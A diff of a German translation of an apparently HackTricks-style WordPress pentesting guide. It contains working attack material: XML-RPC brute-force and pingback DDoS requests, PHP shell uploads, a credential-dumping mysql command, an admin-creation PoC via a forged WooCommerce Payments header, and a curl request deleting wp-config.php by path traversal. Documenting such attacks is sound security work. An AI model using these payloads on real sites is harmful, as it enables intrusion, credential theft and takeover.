-Beachte auch, dass **/wp-json/wp/v2/pages** IP-Adressen leak kann.
+Beachte außerdem, dass **/wp-json/wp/v2/pages** IP-Adressen leak.
 
-- **Login username enumeration**: Beim Login auf **`/wp-login.php`** ist die **Nachricht** unterschiedlich — sie zeigt an, ob der angegebene **Benutzername** existiert oder nicht.
+- **Login username enumeration**: Beim Einloggen in **`/wp-login.php`** ist die **Meldung** **anders**, je nachdem, ob der **Benutzername existiert oder nicht**.
 
 ### XML-RPC
 
-Wenn `xml-rpc.php` aktiv ist, kannst du einen credentials brute-force durchführen oder es nutzen, um DoS-Angriffe auf andere Ressourcen zu starten. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
+Wenn `xml-rpc.php` aktiv ist, kannst du eine credentials brute-force durchführen oder es verwenden, um DoS-Angriffe auf andere Ressourcen zu starten. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
 
-Um zu prüfen, ob es aktiv ist, versuche auf _**/xmlrpc.php**_ zuzugreifen und diese Anfrage zu senden:
+Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und diese Anfrage zu senden:
 
-**Prüfen**
+**Überprüfen**
 ```html
 <methodCall>
 <methodName>system.listMethods</methodName>
@@ -122,7 +122,7 @@ Um zu prüfen, ob es aktiv ist, versuche auf _**/xmlrpc.php**_ zuzugreifen und d
 
 **Credentials Bruteforce**
 
-**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um Credentials per brute-force zu ermitteln. Wenn Sie eines davon finden, können Sie etwas wie Folgendes senden:
+**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um Credentials zu brute-force. Wenn Sie eines davon finden, können Sie etwas wie Folgendes senden:
 ```html
 <methodCall>
 <methodName>wp.getUsersBlogs</methodName>
@@ -132,13 +132,13 @@ Um zu prüfen, ob es aktiv ist, versuche auf _**/xmlrpc.php**_ zuzugreifen und d
 </params>
 </methodCall>
 ```
-Die Meldung _"Incorrect username or password"_ innerhalb einer Antwort mit Statuscode 200 sollte erscheinen, wenn die Zugangsdaten nicht gültig sind.
+Die Meldung _"Incorrect username or password"_ innerhalb einer HTTP-200-Antwort sollte erscheinen, wenn die Zugangsdaten nicht gültig sind.
 
 ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
 
 ![](<../../images/image (721).png>)
 
-Mit den korrekten Zugangsdaten kannst du eine Datei hochladen. In der Antwort erscheint der Pfad ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
+Mit den korrekten Zugangsdaten können Sie eine Datei hochladen. In der Antwort wird der Pfad angezeigt ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
 ```html
 <?xml version='1.0' encoding='utf-8'?>
 <methodCall>
@@ -168,18 +168,18 @@ Mit den korrekten Zugangsdaten kannst du eine Datei hochladen. In der Antwort er
 </params>
 </methodCall>
 ```
-Außerdem gibt es eine **schnellere Möglichkeit**, credentials per **brute-force** mit **`system.multicall`** anzuwenden, da du mehrere credentials in derselben Anfrage testen kannst:
+Außerdem gibt es einen **schnelleren Weg**, um brute-force credentials mit **`system.multicall`** durchzuführen, da du mehrere credentials in derselben Anfrage ausprobieren kannst:
 
 <figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
 
-**2FA umgehen**
+**Bypass 2FA**
 
-Diese Methode ist für Programme und nicht für Menschen gedacht und veraltet, daher unterstützt sie kein 2FA. Wenn du also gültige creds hast, aber der Hauptzugang durch 2FA geschützt ist, **kannst du möglicherweise xmlrpc.php missbrauchen, um dich mit diesen creds einzuloggen und die 2FA zu umgehen**. Beachte, dass du nicht alle Aktionen ausführen kannst, die über die console möglich sind, aber du kannst trotzdem möglicherweise zu RCE gelangen, wie Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt.
+Diese Methode ist für Programme gedacht und nicht für Menschen und ist alt; daher unterstützt sie 2FA nicht. Wenn du also gültige creds hast, aber der Haupteingang durch 2FA geschützt ist, **kannst du xmlrpc.php missbrauchen, um dich mit diesen creds einzuloggen und 2FA zu umgehen**. Beachte, dass du nicht alle Aktionen ausführen kannst, die über die Konsole möglich sind, aber du könntest trotzdem RCE erreichen, wie Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt.
 
 **DDoS oder port scanning**
 
-Wenn du die Methode _**pingback.ping**_ in der Liste findest, kannst du Wordpress dazu bringen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.\
-Das kann verwendet werden, um **tausende** von Wordpress **sites** dazu zu bringen, auf eine **location** zuzugreifen (wodurch an diesem Ort ein **DDoS** verursacht wird), oder du kannst es nutzen, um Wordpress ein internes **network** **scan**nen zu lassen (du kannst jeden Port angeben).
+Wenn du die Methode _**pingback.ping**_ in der Liste findest, kannst du Wordpress dazu bringen, eine beliebige Anfrage an einen beliebigen host/port zu senden.\
+Dies kann verwendet werden, um **Tausende** von Wordpress **Websites** anzuweisen, auf einen **Ort** zu **zugreifen** (wodurch an diesem Ort ein **DDoS** verursacht wird) oder du kannst es nutzen, um **Wordpress** ein internes **Netzwerk** scannen zu lassen (du kannst jeden Port angeben).
 ```html
 <methodCall>
 <methodName>pingback.ping</methodName>
@@ -191,9 +191,9 @@ Das kann verwendet werden, um **tausende** von Wordpress **sites** dazu zu bring
 ```
 ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
 
-Wenn Sie **faultCode** mit einem Wert **größer** als **0** (17) erhalten, bedeutet das, dass der Port offen ist.
+Wenn du **faultCode** mit einem Wert **größer** als **0** (17) erhältst, bedeutet das, dass der Port offen ist.
 
-Siehe die Verwendung von **`system.multicall`** im vorherigen Abschnitt, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
+Sieh dir die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
 
 **DDoS**
 ```html
@@ -209,15 +209,15 @@ Siehe die Verwendung von **`system.multicall`** im vorherigen Abschnitt, um zu l
 
 ### wp-cron.php DoS
 
-Diese Datei existiert normalerweise im Root der Wordpress-Site: **`/wp-cron.php`**\
-Wenn diese Datei **aufgerufen** wird, wird eine "**heavy**" MySQL **query** ausgeführt, weshalb sie von **attackers** verwendet werden könnte, um einen **DoS** zu **verursachen**.\
-Außerdem wird standardmäßig `wp-cron.php` bei jedem Seitenaufruf (immer wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
+Diese Datei befindet sich normalerweise im Stammverzeichnis der Wordpress-Seite: **`/wp-cron.php`**\
+Wenn diese Datei **aufgerufen** wird, wird eine ressourcenintensive MySQL **Abfrage** ausgeführt, sodass sie von **Angreifern** dazu verwendet werden kann, einen **DoS** zu verursachen.\
+Außerdem wird standardmäßig die `wp-cron.php` bei jedem Seitenaufruf (immer wenn ein Client irgendeine Wordpress-Seite anfordert) ausgeführt, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
 
-Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten cronjob auf dem Host einzurichten, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
+Es wird empfohlen, Wp-Cron zu deaktivieren und stattdessen einen echten cronjob auf dem Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
 
 ### /wp-json/oembed/1.0/proxy - SSRF
 
-Versuche, _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ aufzurufen — die Worpress-Site könnte dann eine Anfrage an dich senden.
+Versuche, _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ aufzurufen, und die Worpress-Seite könnte eine Anfrage an dich senden.
 
 This is the response when it doesn't work:
 
@@ -230,7 +230,7 @@ This is the response when it doesn't work:
 https://github.com/t0gu/quickpress/blob/master/core/requests.go
 {{#endref}}
 
-Dieses Tool prüft, ob der **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** vorhanden sind, und falls ja, versucht es, diese auszunutzen.
+Dieses Tool prüft, ob der **methodName: pingback.ping** vorhanden ist und ob der Pfad **/wp-json/oembed/1.0/proxy** existiert; falls ja, versucht es, diese auszunutzen.
 
 ## Automatische Tools
 ```bash
@@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
 ```
 ## Zugriff durch Überschreiben eines Bits
 
-Mehr als ein echter Angriff ist das eine Kuriosität. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man 1 Bit in jeder wordpress-Datei flippen. So konnte man an Position `5389` der Datei `/var/www/html/wp-includes/user.php` das Bit so ändern, dass die NOT (`!`) Operation zu einem NOP wurde.
+Mehr als ein echter Angriff ist das eher eine Kuriosität. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man 1 Bit in jeder wordpress-Datei umschalten. Dadurch konnte man an Position `5389` der Datei `/var/www/html/wp-includes/user.php` die NOT-Operation (`!`) in ein NOP verwandeln.
 ```php
 if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
 return new WP_Error(
 ```
 ## **Panel RCE**
 
-**Ändern einer php-Datei des verwendeten Themes (Admin-Zugangsdaten erforderlich)**
+**Eine php-Datei des verwendeten Themes ändern (Admin-Zugangsdaten benötigt)**
 
-Appearance → Theme Editor → 404 Template (at the right)
+Appearance → Theme Editor → 404 Template (rechts)
 
-Ändere den Inhalt zu einer php shell:
+Den Inhalt durch eine php-Shell ersetzen:
 
 ![](<../../images/image (384).png>)
 
-Suche im Internet, wie du auf diese aktualisierte Seite zugreifen kannst. In diesem Fall musst du hier zugreifen: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+Suche im Internet, wie du auf die aktualisierte Seite zugreifen kannst. In diesem Fall musst du hier zugreifen: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
 
 ### MSF
 
@@ -270,7 +270,7 @@ um eine Session zu bekommen.
 ### PHP plugin
 
 Es kann möglich sein, .php-Dateien als Plugin hochzuladen.\
-Erstelle deine php backdoor zum Beispiel mit:
+Erstelle deine php-Backdoor zum Beispiel mit:
 
 ![](<../../images/image (183).png>)
 
@@ -286,44 +286,44 @@ Klicke auf Procced:
 
 ![](<../../images/image (70).png>)
 
-Wahrscheinlich scheint das zunächst nichts zu tun, aber wenn du zu Media gehst, siehst du deine hochgeladene Shell:
+Wahrscheinlich wird scheinbar nichts passieren, aber wenn du zu Media gehst, siehst du deine hochgeladene shell:
 
 ![](<../../images/image (462).png>)
 
-Rufe sie auf und du siehst die URL, um die reverse shell auszuführen:
+Öffne sie und du wirst die URL sehen, um die reverse shell auszuführen:
 
 ![](<../../images/image (1006).png>)
 
 ### Uploading and activating malicious plugin
 
-Diese Methode beinhaltet die Installation eines bekannten, verwundbaren bösartigen Plugins, das ausgenutzt werden kann, um eine web shell zu erhalten. Dieser Vorgang wird über das WordPress-Dashboard wie folgt durchgeführt:
+Diese Methode beinhaltet die Installation eines bekannten verwundbaren und ausnutzbaren bösartigen Plugins, um eine web shell zu erhalten. Dieser Vorgang wird über das WordPress dashboard wie folgt durchgeführt:
 
-1. **Plugin Acquisition**: Das Plugin wird von einer Quelle wie Exploit DB beschafft, z. B. [**hier**](https://www.exploit-db.com/exploits/36374).
+1. **Plugin Acquisition**: Das Plugin wird aus einer Quelle wie Exploit DB bezogen, z. B. [**here**](https://www.exploit-db.com/exploits/36374).
 2. **Plugin Installation**:
-- Gehe zum WordPress-Dashboard, dann zu `Dashboard > Plugins > Upload Plugin`.
-- Lade die ZIP-Datei des heruntergeladenen Plugins hoch.
+- Navigiere zum WordPress dashboard, dann zu `Dashboard > Plugins > Upload Plugin`.
+- Lade die Zip-Datei des heruntergeladenen Plugins hoch.
 3. **Plugin Activation**: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
 4. **Exploitation**:
 - Mit installiertem und aktiviertem Plugin "reflex-gallery" kann dieses ausgenutzt werden, da es als verwundbar bekannt ist.
-- Das Metasploit Framework stellt einen Exploit für diese Schwachstelle bereit. Durch Laden des entsprechenden Moduls und Ausführen bestimmter Befehle kann eine meterpreter session hergestellt werden, die unautorisierten Zugriff auf die Seite gewährt.
-- Es wird darauf hingewiesen, dass dies nur eine von vielen Methoden ist, eine WordPress-Seite auszunutzen.
+- Das Metasploit framework bietet einen Exploit für diese Verwundbarkeit. Durch Laden des passenden Moduls und Ausführen spezifischer Befehle kann eine meterpreter-Session hergestellt werden, die unbefugten Zugriff auf die Seite ermöglicht.
+- Dies ist nur eine von vielen Methoden, um eine WordPress-Seite auszunutzen.
 
-Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress-Dashboard zum Installieren und Aktivieren des Plugins zeigen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise ohne entsprechende Autorisierung illegal und unethisch ist. Diese Informationen sollten verantwortungsbewusst und nur in einem legalen Kontext verwendet werden, z. B. beim pentesting mit ausdrücklicher Genehmigung.
+Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress dashboard zum Installieren und Aktivieren des Plugins zeigen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Verwundbarkeiten auf diese Weise ohne ausdrückliche Genehmigung illegal und unethisch ist. Diese Informationen sollten verantwortungsvoll und nur in einem legalen Kontext verwendet werden, z. B. bei Penetrationstests mit ausdrücklicher Erlaubnis.
 
-**Für detailliertere Schritte siehe:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
+**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
 
-## Von XSS zu RCE
+## From XSS to RCE
 
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Script, das dazu entwickelt wurde, eine **Cross-Site Scripting (XSS)**-Schwachstelle zu eskalieren zu **Remote Code Execution (RCE)** oder anderen kritischen Schwachstellen in WordPress. Für mehr Infos siehe [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Unterstützung für Wordpress-Versionen 6.X.X, 5.X.X und 4.X.X und ermöglicht:**
-- _**Privilege Escalation:**_ Erstellt einen Benutzer in WordPress.
-- _**(RCE) Custom Plugin (backdoor) Upload:**_ Lade dein custom plugin (backdoor) nach WordPress hoch.
-- _**(RCE) Built-In Plugin Edit:**_ Bearbeite eingebaute Plugins in WordPress.
-- _**(RCE) Built-In Theme Edit:**_ Bearbeite eingebaute Themes in WordPress.
-- _**(Custom) Custom Exploits:**_ Eigene Exploits für Drittanbieter-WordPress-Plugins/-Themes.
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Script, das dazu entwickelt wurde, eine **Cross-Site Scripting (XSS)**-Vulnerability zu **Remote Code Execution (RCE)** oder anderen kritischen Verwundbarkeiten in WordPress zu eskalieren. Für mehr Informationen siehe [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Support für Wordpress Versions 6.X.X, 5.X.X und 4.X.X und erlaubt:**
+- _**Privilege Escalation:**_ Erstellt einen User in WordPress.
+- _**(RCE) Custom Plugin (backdoor) Upload:**_ Lädt dein custom Plugin (Backdoor) in WordPress hoch.
+- _**(RCE) Built-In Plugin Edit:**_ Editiert eingebaute Plugins in WordPress.
+- _**(RCE) Built-In Theme Edit:**_ Editiert eingebaute Themes in WordPress.
+- _**(Custom) Custom Exploits:**_ Custom Exploits für Third-Party WordPress Plugins/Themes.
 
 ## Post Exploitation
 
-Extrahiere Benutzernamen und Passwörter:
+Benutzernamen und Passwörter extrahieren:
 ```bash
 mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
 ```
@@ -335,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
 
 ### Angriffsfläche
 
-Es ist entscheidend zu wissen, wie ein Wordpress-Plugin Funktionalität nach außen freigibt, um Schwachstellen in dieser Funktionalität zu finden. Wie ein Plugin Funktionalität offenlegen kann, sehen Sie in den folgenden Stichpunkten; Beispiele verwundbarer Plugins finden Sie in [**diesem Blogpost**](https://nowotarski.info/wordpress-nonce-authorization/).
+Zu wissen, wie ein Wordpress-Plugin Funktionalität nach außen legt, ist entscheidend, um Schwachstellen in dieser Funktionalität zu finden. Sie können sehen, wie ein Plugin Funktionalität exponieren kann, in den folgenden Aufzählungspunkten und einige Beispiele verwundbarer Plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
 
 - **`wp_ajax`**
 
-Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer exponieren kann, ist über AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es ziemlich häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress nonce stützen, das **jeder in der Wordpress-Instanz authentifizierte Benutzer haben könnte** (unabhängig von seiner Rolle).
+Eine Möglichkeit, wie ein Plugin Funktionen für Benutzer offenlegt, sind AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es ziemlich häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, das **jeder im Wordpress-System authentifizierte Benutzer haben könnte** (unabhängig von seiner Rolle).
 
-Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin nach außen zu exponieren:
+Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:
 ```php
 add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
 add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
 ```
-**Die Verwendung von `nopriv` macht den endpoint für alle Benutzer zugänglich (auch für nicht authentifizierte).**
+**Die Verwendung von `nopriv` macht den Endpoint für alle Benutzer zugänglich (auch für nicht authentifizierte).**
 
 > [!CAUTION]
-> Außerdem, wenn die Funktion die Autorisierung des Benutzers nur mit der Funktion `wp_verify_nonce` prüft, überprüft diese Funktion lediglich, ob der Benutzer eingeloggt ist; sie prüft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit niedrigen Rechten Zugriff auf hochprivilegierte Aktionen erhalten.
+> Außerdem, wenn die Funktion die Autorisierung des Benutzers nur mit der Funktion `wp_verify_nonce` prüft, stellt diese nur fest, dass der Benutzer eingeloggt ist; sie prüft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit niedrigen Rechten Zugriff auf Aktionen mit hohen Rechten erhalten.
 
 - **REST API**
 
-Es ist auch möglich, Funktionen aus wordpress über die Registrierung einer REST API mit der Funktion `register_rest_route` freizulegen:
+Es ist auch möglich, Funktionen von wordpress offenzulegen, indem man eine REST API mit der Funktion `register_rest_route` registriert:
 ```php
 register_rest_route(
 $this->namespace, '/get/', array(
@@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
 )
 );
 ```
-Der `permission_callback` ist eine Callback-Funktion, die prüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
+Die `permission_callback` ist eine Callback-Funktion, die prüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
 
-**Wenn die eingebaute Funktion `__return_true` verwendet wird, überspringt sie einfach die Überprüfung der Benutzerberechtigungen.**
+**Wenn die eingebaute Funktion `__return_true` verwendet wird, überspringt sie einfach die Benutzerberechtigungsprüfung.**
 
-- **Direkter Zugriff auf die PHP-Datei**
+- **Direkter Zugriff auf die php-Datei**
 
-Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn also ein Plugin eine verwundbare Funktionalität offenlegt, die allein durch den Zugriff auf die Datei ausgelöst wird, ist sie von jedem Benutzer ausnutzbar.
+Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn also ein Plugin eine verwundbare Funktionalität bereitstellt, die allein durch den Zugriff auf die Datei ausgelöst wird, kann sie von jedem Benutzer ausgenutzt werden.
 
-### Trusted-header REST-Identitätsvortäuschung (WooCommerce Payments ≤ 5.6.1)
+### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
 
-Einige Plugins implementieren “trusted header”-Shortcuts für interne Integrationen oder Reverse Proxies und verwenden diesen Header dann, um den aktuellen Benutzerkontext für REST-Anfragen zu setzen. Wenn der Header nicht kryptographisch an die Anfrage durch eine vorgelagerte Komponente gebunden ist, kann ein Angreifer ihn fälschen und privilegierte REST-Routen als Administrator aufrufen.
+Einige Plugins implementieren „trusted header“-Shortcuts für interne Integrationen oder reverse proxies und verwenden dann diesen Header, um den aktuellen Benutzerkontext für REST-Anfragen zu setzen. Wenn der Header nicht kryptografisch an die Anfrage durch eine upstream component gebunden ist, kann ein Angreifer ihn fälschen und privilegierte REST-Routen als Administrator ansprechen.
 
-- Auswirkung: Unauthentifizierte Privilegieneskalation zum Admin, indem ein neuer Administrator über die core users REST-Route erstellt wird.
-- Beispiel-Header: `X-Wcpay-Platform-Checkout-User: 1` (erzwingt Benutzer-ID 1, typischerweise das erste Administrator-Konto).
-- Ausgenutzte Route: `POST /wp-json/wp/v2/users` mit einem erhöhten role-Array.
+- Auswirkung: unauthenticated privilege escalation to admin durch die Erstellung eines neuen Administrators über die core users REST route.
+- Beispiel-Header: `X-Wcpay-Platform-Checkout-User: 1` (erzwingt User-ID 1, typischerweise das erste Administrator-Konto).
+- Ausgenutzte Route: `POST /wp-json/wp/v2/users` mit einem elevated role array.
 
 PoC
 ```http
@@ -391,31 +391,31 @@ Content-Length: 114
 
 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
 ```
-Why it works
+Warum es funktioniert
 
-- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungsstatus und umgeht capability-Prüfungen.
-- WordPress core erwartet die `create_users`-capability für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt.
+- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungsstatus und überspringt Berechtigungsprüfungen.
+- Der WordPress-Core erwartet die `create_users`-Capability für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt.
 
-Expected success indicators
+Erwartete Erfolgshinweise
 
 - HTTP 201 mit einem JSON-Body, der den erstellten Benutzer beschreibt.
 - Ein neuer Admin-Benutzer sichtbar in `wp-admin/users.php`.
 
-Detection checklist
+Erkennungs-Checkliste
 
-- Grep nach `getallheaders()`, `$_SERVER['HTTP_...']`, oder vendor SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z.B. `wp_set_current_user()`, `wp_set_auth_cookie()`).
+- Grep nach `getallheaders()`, `$_SERVER['HTTP_...']`, oder vendor SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z. B. `wp_set_current_user()`, `wp_set_auth_cookie()`).
 - Überprüfe REST-Registrierungen auf privilegierte Callbacks, die keine robusten `permission_callback`-Prüfungen haben und stattdessen auf Request-Header vertrauen.
-- Suche nach Verwendungen von Core-User-Management-Funktionen (`wp_insert_user`, `wp_create_user`) innerhalb von REST-Handlern, die nur durch Header-Werte abgesichert sind.
+- Suche nach Verwendungen von Core-User-Management-Funktionen (`wp_insert_user`, `wp_create_user`) in REST-Handlern, die nur durch Header-Werte geschützt sind.
 
-### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
+### Nicht authentifizierte beliebige Dateilöschung über wp_ajax_nopriv (Litho Theme <= 3.0)
 
-WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks.  When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
+WordPress-Themes und -Plugins machen häufig AJAX-Handler über die Hooks `wp_ajax_` und `wp_ajax_nopriv_` verfügbar.  Wenn die **_nopriv_**-Variante verwendet wird **ist der Callback für nicht authentifizierte Besucher erreichbar**, daher muss jede sensible Aktion zusätzlich implementieren:
 
-1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
-2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
-3. **Strict input sanitisation / validation**.
+1. Eine **Capability-Prüfung** (z. B. `current_user_can()` oder zumindest `is_user_logged_in()`), und
+2. Eine **CSRF-Nonce** validiert mit `check_ajax_referer()` / `wp_verify_nonce()`, und
+3. **Strikte Eingabesanitisierung / -validierung**.
 
-The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
+Das Litho-Multipurpose-Theme (< 3.1) hat diese 3 Kontrollen in der *Remove Font Family* Funktion vergessen und lieferte schließlich den folgenden Code (vereinfacht):
 ```php
 function litho_remove_font_family_action_data() {
 if ( empty( $_POST['fontfamily'] ) ) {
@@ -434,37 +434,37 @@ die();
 add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
 add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
 ```
-Probleme, die durch diesen Ausschnitt entstehen:
+Issues introduced by this snippet:
 
-* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered.
-* **No nonce / capability check** – jeder Besucher kann den Endpoint aufrufen.
-* **No path sanitisation** – der vom Benutzer kontrollierte `fontfamily`-String wird ohne Filter an einen Dateisystempfad angehängt, wodurch klassisches `../../`-Traversal möglich ist.
+* **Nicht authentifizierter Zugriff** – the `wp_ajax_nopriv_` hook is registered.
+* **No nonce / capability check** – jeder Besucher kann den Endpunkt aufrufen.
+* **No path sanitisation** – der vom Benutzer kontrollierte `fontfamily`-String wird ohne Filter an einen Dateisystempfad angehängt, was klassisches `../../` Traversal ermöglicht.
 
-#### Ausnutzung
+#### Exploitation
 
-Ein Angreifer kann jede Datei oder jedes Verzeichnis **unterhalb des uploads base directory** (normalerweise `<wp-root>/wp-content/uploads/`) durch das Senden einer einzigen HTTP POST-Anfrage löschen:
+Ein Angreifer kann jede Datei oder jedes Verzeichnis **unterhalb des uploads-Stammverzeichnisses** (normally `<wp-root>/wp-content/uploads/`) indem er eine einzelne HTTP POST-Anfrage sendet:
 ```bash
 curl -X POST https://victim.com/wp-admin/admin-ajax.php \
 -d 'action=litho_remove_font_family_action_data' \
 -d 'fontfamily=../../../../wp-config.php'
 ```
-Da `wp-config.php` außerhalb von *uploads* liegt, reichen auf einer Standardinstallation vier `../`-Sequenzen aus. Das Löschen von `wp-config.php` zwingt WordPress beim nächsten Besuch in den *Installationsassistenten* und ermöglicht eine komplette Übernahme der Seite (der Angreifer liefert einfach eine neue DB-Konfiguration und erstellt einen Admin-Benutzer).
+Weil `wp-config.php` außerhalb von *uploads* liegt, reichen auf einer Standardinstallation vier `../`-Sequenzen. Das Löschen von `wp-config.php` zwingt WordPress beim nächsten Besuch in den *Installation Wizard*, wodurch eine vollständige Übernahme der Seite möglich wird (der Angreifer liefert lediglich eine neue DB-Konfiguration und erstellt einen Admin-Benutzer).
 
-Weitere wirkungsvolle Ziele sind Plugin-/Theme-`.php`-Dateien (um Sicherheits-Plugins zu sabotieren) oder `.htaccess`-Regeln.
+Andere wirkungsvolle Ziele umfassen plugin/theme `.php` files (um Sicherheits-Plugins zu umgehen) oder `.htaccess`-Regeln.
 
-#### Checkliste zur Erkennung
+#### Erkennungs-Checkliste
 
-* Jeder `add_action( 'wp_ajax_nopriv_...')` Callback, der Filesystem-Helper (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.) aufruft.
-* Konkatenation unsanitisierten Nutzer-Inputs in Pfade (Achte auf `$_POST`, `$_GET`, `$_REQUEST`).
-* Fehlen von `check_ajax_referer()` und `current_user_can()`/`is_user_logged_in()`.
+* Jede `add_action( 'wp_ajax_nopriv_...')` Callback-Funktion, die Dateisystem-Helfer (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.) aufruft.
+* Konkatenation unsanitierter Benutzereingaben in Pfaden (nach `$_POST`, `$_GET`, `$_REQUEST` suchen).
+* Fehlendes `check_ajax_referer()` und `current_user_can()`/`is_user_logged_in()`.
 
 ---
 
-### Privilegieneskalation durch veraltete Rollenzurücksetzung und fehlende Autorisierung (ASE "View Admin as Role")
+### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
 
